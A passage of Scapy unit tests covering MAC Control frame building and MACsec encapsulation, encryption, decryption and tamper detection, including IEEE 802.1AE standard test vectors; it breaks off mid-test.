Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlPause(pause_time=0x1234) frm = Ether(frm.do_build()) pause_layer = frm[MACControlPause] assert(pause_layer.pause_time == 0x1234) assert(pause_layer.get_pause_time(ETHER_SPEED_MBIT_10) == 0.238592) = gate frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlGate(timestamp=0x12345678) frm = Ether(frm.do_build()) gate_layer = frm[MACControlGate] assert(gate_layer.timestamp == 0x12345678) = report frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlReport(timestamp=0x12345678, pending_grants=0x23) frm = Ether(frm.do_build()) report_layer = frm[MACControlReport] assert(report_layer.timestamp == 0x12345678) assert(report_layer.pending_grants == 0x23) = report frame flags (generic for all other register frame types) for flag in MACControl.REGISTER_FLAGS: frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ MACControlReport(timestamp=0x12345678, flags=flag) frm = Ether(frm.do_build()) report_layer = frm[MACControlReport] assert(report_layer.flags == flag) = register_req frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlRegisterReq(timestamp=0x87654321, echoed_pending_grants=0x12, sync_time=0x3344, assigned_port=0x7766) frm = Ether(frm.do_build()) register_req_layer = frm[MACControlRegisterReq] assert(register_req_layer.timestamp == 0x87654321) assert (register_req_layer.echoed_pending_grants == 0x12) assert (register_req_layer.sync_time == 0x3344) assert (register_req_layer.assigned_port == 0x7766) = register frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlRegister(timestamp=0x11223344, echoed_assigned_port=0x2277, echoed_sync_time=0x3399) frm = Ether(frm.do_build()) register_layer = frm[MACControlRegister] assert(register_layer.timestamp == 0x11223344) assert(register_layer.echoed_assigned_port == 0x2277) assert(register_layer.echoed_sync_time == 0x3399) = register_ack frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlRegisterAck(timestamp=0x11223344, echoed_assigned_port=0x2277, echoed_sync_time=0x3399) frm = Ether(frm.do_build()) register_ack_layer = frm[MACControlRegisterAck] assert(register_ack_layer.timestamp == 0x11223344) assert(register_ack_layer.echoed_assigned_port == 0x2277) assert(register_ack_layer.echoed_sync_time == 0x3399) = class based flow control frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/ \ MACControlClassBasedFlowControl(c0_enabled=1, c0_pause_time=0x4321, c5_enabled=1, c5_pause_time=0x1234) frm = Ether(frm.do_build()) cbfc_layer = frm[MACControlClassBasedFlowControl] assert(cbfc_layer.c0_enabled) assert(cbfc_layer.c0_pause_time == 0x4321) assert(cbfc_layer.c5_enabled) assert(cbfc_layer.c5_pause_time == 0x1234) assert(not cbfc_layer.c1_enabled) assert(cbfc_layer.c1_pause_time == 0) assert(not cbfc_layer.c7_enabled) assert(cbfc_layer.c7_pause_time == 0) assert(cbfc_layer._reserved == 0) + test padding = naked frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ MACControlRegisterAck(timestamp=0x12345678) frm = frm.do_build() assert(len(frm) == 60) = single vlan tag frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ Dot1Q(vlan=42) / \ MACControlRegisterAck(timestamp=0x12345678) frm = frm.do_build() assert(len(frm) == 60) = QinQ frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ Dot1Q(vlan=42) / \ Dot1Q(vlan=42) / \ MACControlRegisterAck(timestamp=0x12345678) frm = frm.do_build() assert(len(frm) == 60) = hand craftet payload (disabled auto padding) frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ MACControlRegisterAck(timestamp=0x12345678) / \ Raw(b'may pass devices') frm = Ether(frm.do_build()) raw_layer = frm[Raw] assert(raw_layer.load == b'may pass devices') assert(len(frm) < 64) scapy-2.4.4/test/contrib/macsec.uts000077500000000000000000000563441372370053500172730ustar00rootroot00000000000000# MACsec unit tests # run with: # test/run_tests -P "load_contrib('macsec')" -t test/contrib/macsec.uts -F + MACsec ~ crypto not_pypy # Note: these tests are disabled with pypy, as the cryptography module does # not currently work with the pypy version used by Travis CI. = MACsec - basic encap - encrypted sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) assert(m.type == ETH_P_MACSEC) assert(m[MACsec].type == ETH_P_IP) assert(len(m) == len(p) + 16) assert(m[MACsec].an == 0) assert(m[MACsec].pn == 100) assert(m[MACsec].shortlen == 0) assert(m[MACsec].SC) assert(m[MACsec].E) assert(m[MACsec].C) assert(m[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') = MACsec - basic encryption - encrypted sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) assert(e.type == ETH_P_MACSEC) assert(e[MACsec].type == None) assert(len(e) == len(p) + 16 + 16) assert(e[MACsec].an == 0) assert(e[MACsec].pn == 100) assert(e[MACsec].shortlen == 0) assert(e[MACsec].SC) assert(e[MACsec].E) assert(e[MACsec].C) assert(e[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') = MACsec - basic decryption - encrypted sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) d = sa.decrypt(e) assert(d.type == ETH_P_MACSEC) assert(d[MACsec].type == ETH_P_IP) assert(len(d) == len(m)) assert(d[MACsec].an == 0) assert(d[MACsec].pn == 100) assert(d[MACsec].shortlen == 0) assert(d[MACsec].SC) assert(d[MACsec].E) assert(d[MACsec].C) assert(d[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') assert(raw(d) == raw(m)) = MACsec - basic decap - decrypted sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) d = sa.decrypt(e) r = sa.decap(d) assert(raw(r) == raw(p)) = MACsec - basic encap - integrity only sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) assert(m.type == ETH_P_MACSEC) assert(m[MACsec].type == ETH_P_IP) assert(len(m) == len(p) + 16) assert(m[MACsec].an == 0) assert(m[MACsec].pn == 200) assert(m[MACsec].shortlen == 0) assert(m[MACsec].SC) assert(not m[MACsec].E) assert(not m[MACsec].C) assert(m[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') = MACsec - basic encryption - integrity only sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) assert(m.type == ETH_P_MACSEC) assert(e[MACsec].type == None) assert(len(e) == len(p) + 16 + 16) assert(e[MACsec].an == 0) assert(e[MACsec].pn == 200) assert(e[MACsec].shortlen == 0) assert(e[MACsec].SC) assert(not e[MACsec].E) assert(not e[MACsec].C) assert(e[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') assert(raw(e)[:-16] == raw(m)) = MACsec - basic decryption - integrity only sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) d = sa.decrypt(e) assert(d.type == ETH_P_MACSEC) assert(d[MACsec].type == ETH_P_IP) assert(len(d) == len(m)) assert(d[MACsec].an == 0) assert(d[MACsec].pn == 200) assert(d[MACsec].shortlen == 0) assert(d[MACsec].SC) assert(not d[MACsec].E) assert(not d[MACsec].C) assert(d[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') assert(raw(d) == raw(m)) = MACsec - basic decap - integrity only sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) d = sa.decrypt(e) r = sa.decap(d) assert(raw(r) == raw(p)) = MACsec - encap - shortlen 2 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd') m = sa.encap(p) assert(m[MACsec].shortlen == 2) assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) = MACsec - encap - shortlen 10 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 8) m = sa.encap(p) assert(m[MACsec].shortlen == 10) assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) = MACsec - encap - shortlen 18 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 16) m = sa.encap(p) assert(m[MACsec].shortlen == 18) assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) = MACsec - encap - shortlen 32 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 30) m = sa.encap(p) assert(m[MACsec].shortlen == 32) assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) = MACsec - encap - shortlen 40 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 38) m = sa.encap(p) assert(m[MACsec].shortlen == 40) assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) = MACsec - encap - shortlen 47 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45) m = sa.encap(p) assert(m[MACsec].shortlen == 47) assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) = MACsec - encap - shortlen 0 (48) sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45 + "y") m = sa.encap(p) assert(m[MACsec].shortlen == 0) = MACsec - encap - shortlen 2/nosci sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd') m = sa.encap(p) assert(m[MACsec].shortlen == 2) assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) = MACsec - encap - shortlen 32/nosci sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 30) m = sa.encap(p) assert(m[MACsec].shortlen == 32) assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) = MACsec - encap - shortlen 47/nosci sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45) m = sa.encap(p) assert(m[MACsec].shortlen == 47) assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) = MACsec - authenticate tx = Ether(b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x88\xe5 \x00\x00\x00\x00\rRT\x00\x13\x01V\x00\x01\x08\x00E\x00\x00T\x11:@\x00@\x01\xa6\x1b\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00a\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\xf1\xb8\xe4,b\xb00\x98L\x85m1Q9\t:") rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5 \x00\x00\x00\x00#RT\x00\x12\x01V\x00\x01\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37z\x11\xf8S\xe5u\x81\xe8\x19\\nxX\x02\x13\x01") rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=0, send_sci=1) txdec = txsa.decap(txsa.decrypt(tx)) rxdec = rxsa.decap(rxsa.decrypt(rx)) txref = b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x08\x00E\x00\x00T\x11:@\x00@\x01\xa6\x1b\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00a\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37" rxref = b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37" assert(raw(txdec) == raw(txref)) assert(raw(rxdec) == raw(rxref)) = MACsec - authenticate - invalid packet rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5 \x00\x00\x00\x00#RT\x00\x12\x01V\x00\x01\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\xba\xdb\xba\xdb\xad\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37z\x11\xf8S\xe5u\x81\xe8\x19\\nxX\x02\x13\x01") txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=0, send_sci=1) try: rxdec = rxsa.decap(rxsa.decrypt(rx)) assert(not "This packet shouldn't have been authenticated as correct") except InvalidTag: pass = MACsec - decrypt tx = Ether(b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x88\xe5,\x00\x00\x00\x00\x1fRT\x00\x13\x01V\x00\x01\xf1\xd6\xf7\x03\xf0%\x19\x8e\x88\xb0\xac\xa1\x82\x98\x94]\x85&\xc4U*\x84kX#O\xb6\x8f\xf1\x9d\xc5\xdc\xe0\x80,\x98\x8e_\xd53e\x16b0\xaf\xd9\x9e;A\x8aM\xfe\x16\xf6j\xe6\xea\xb7\x9c\xf3\x9bCc#,\x93\xf7\xc0\xdb\x9a\xd0\x0c\xfd?\xcbd\xe5D\xb7\xc9\xbb\xf5\x93M\xc5\x1d'LR\xed\xf3\xbc\xa0\xdf\x86\xf7\xc2JN\xcd\x19\xc1?\xf7\xd2\xbe\x00\x0f`\xe0\x04\xcfX5\xdc\xe7\xb6\xe6\x82\xc4\xac\xd7\x06\xe31\xbe|\x98l\xc8\xc1#*n+x|\xad\x0b<\xfd\xb8\xceoR\x1e") rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5,\x00\x00\x00\x005RT\x00\x12\x01V\x00\x01\x04\xbaV\xe6\xcf\xcfbhy\x7f\xce\x12.\x80WI\xe5\xd5\x98)6\xe1vjVO@\x84\xde\x9b\x83\xbaw\xef\x13\xc3\xfd\xad\x81\xd4S?\x01\x01\xab\xa8 PzSq2\x905\xf6\x8cT\xd7\xb0P\xe2\xd04\xc7F\x88\x85\x10\xc3\x99\x80\xe3(\t\x10\x87\xa9{z\x22\xce>;Mr\xbe\xc1\xa0\x07%\x01\x96\xe5\xa3\x18]\xec\xbb\x7f\xde0\xa1\x99\xb2\xad\x93j\x97\xef\xf4\xee\xf0\xe4s\xb7h\x95\xc3\x8b[~hX\xbf|\xee\x99\x97\xe0;Q\x9aa\xb9\x13$\xd6\xe4\xb4\xce\njt\xc0\xa1.") rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=1, send_sci=1) txdec = txsa.decap(txsa.decrypt(tx)) rxdec = rxsa.decap(rxsa.decrypt(rx)) txref = b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x08\x00E\x00\x00\x80#D@\x00@\x01\x93\xe5\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00E\xd5\x0f\xb3\x00\x01SrSY\x00\x00\x00\x00\x8b\x1d\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abc" rxref = b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x08\x00E\x00\x00\x80\x05\xab\x00\x00@\x01\xf1~\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00M\xd5\x0f\xb3\x00\x01SrSY\x00\x00\x00\x00\x8b\x1d\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abc" assert(raw(txdec) == raw(txref)) assert(raw(rxdec) == raw(rxref)) = MACsec - decrypt - invalid packet rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5,\x00\x00\x00\x005RT\x00\x12\x01V\x00\x01\x04\xbaV\xe6\xcf\xcfbhy\x7f\xce\x12.\x80WI\xe5\xd5\x98)6\xe1vjVO@\x84\xde\x9b\x83\xbaw\xef\x13\xc3\xfd\xad\x81\xd4S?\x01\x01\xab\xa8 PzSq2\x905\xf6\x8cT\xd7\xb0P\xe2\xd04\xc7F\x88\x85\x10\xc3\x99\x80\xe3(\t\x10\x87\xa9{z\x22\xce>;Mr\xbe\xc1\xa0\x07%\x01\x96\xe5\xa3\x18]\xec\xbb\x7f\xde0\xa1\x99\xb2\xad\x93j\x97\xba\xdb\xad\xf0\xe4s\xb7h\x95\xc3\x8b[~hX\xbf|\xee\x99\x97\xe0;Q\x9aa\xb9\x13$\xd6\xe4\xb4\xce\njt\xc0\xa1.") rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) try: rxdec = rxsa.decap(rxsa.decrypt(rx)) assert(not "This packet shouldn't have been decrypted correctly") except InvalidTag: pass = MACsec - decap - non-Ethernet rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) try: rxsa.decap(IP()) except TypeError as e: assert(str(e) == "cannot decapsulate MACsec packet, must be Ethernet/MACsec") = MACsec - decap - non-MACsec rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) try: rxsa.decap(Ether()/IP()) except TypeError as e: assert(str(e) == "cannot decapsulate MACsec packet, must be Ethernet/MACsec") = MACsec - encap - non-Ethernet txsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) try: txsa.encap(IP()) except TypeError as e: assert(str(e) == "cannot encapsulate packet in MACsec, must be Ethernet") # Reference packets tests from the MACsec specification document (IEEE Std 802.1AEbw-2013, Annex C). # Check encapsulation, encryption, decryption, decapsulation for each test case. = MACsec - Standard Test Vectors - C.1.1 GCM-AES-128 (54-octet frame integrity protection) sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB2C28465, key=b'\xAD\x7A\x2B\xD0\x3E\xAC\x83\x5A\x6F\x62\x0F\xDC\xB5\x06\xB3\x45', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001"))) m = sa.encap(p) iv = sa.make_iv(m) assert(raw(iv) == raw(b'\x12\x15\x35\x24\xC0\x89\x5E\x81\xB2\xC2\x84\x65')) e = sa.encrypt(m) ref = Raw(bytes(bytearray.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001F09478A9B09007D06F46E9B6A1DA25DD"))) assert(raw(e) == raw(ref)) dt = sa.decrypt(e) assert(raw(dt) == raw(m)) = MACsec - Standard Test Vectors - C.1.2 GCM-AES-256 (54-octet frame integrity protection) sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB2C28465, key=b'\xE3\xC0\x8A\x8F\x06\xC6\xE3\xAD\x95\xA7\x05\x57\xB2\x3F\x75\x48\x3C\xE3\x30\x21\xA9\xC7\x2B\x70\x25\x66\x62\x04\xC6\x9C\x0B\x72', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001"))) m = sa.encap(p) iv = sa.make_iv(m) assert(raw(iv) == raw(b'\x12\x15\x35\x24\xC0\x89\x5E\x81\xB2\xC2\x84\x65')) e = sa.encrypt(m) ref = Raw(bytes(bytearray.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333400012F0BC5AF409E06D609EA8B7D0FA5EA50"))) assert(raw(e) == raw(ref)) dt = sa.decrypt(e) assert(raw(dt) == raw(m)) = MACsec - Standard Test Vectors - C.1.3 GCM-AES-XPN-128 (54-octet frame integrity protection) sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB0DF459CB2C28465, key=b'\xAD\x7A\x2B\xD0\x3E\xAC\x83\x5A\x6F\x62\x0F\xDC\xB5\x06\xB3\x45', icvlen=16, encrypt=0, send_sci=1, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001"))) m = sa.encap(p) iv = sa.make_iv(m) assert(raw(iv) == raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\xAE\xA4\x7E\x08')) e = sa.encrypt(m) ref = Raw(bytes(bytearray.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F3031323334000117FE1981EBDD4AFC5062697E8BAA0C23"))) assert(raw(e) == raw(ref)) dt = sa.decrypt(e) assert(raw(dt) == raw(m)) = MACsec - Standard Test Vectors - C.1.4 GCM-AES-XPN-256 (54-octet frame integrity protection) sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB0DF459CB2C28465, key=b'\xE3\xC0\x8A\x8F\x06\xC6\xE3\xAD\x95\xA7\x05\x57\xB2\x3F\x75\x48\x3C\xE3\x30\x21\xA9\xC7\x2B\x70\x25\x66\x62\x04\xC6\x9C\x0B\x72', icvlen=16, encrypt=0, send_sci=1, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001"))) m = sa.encap(p) iv = 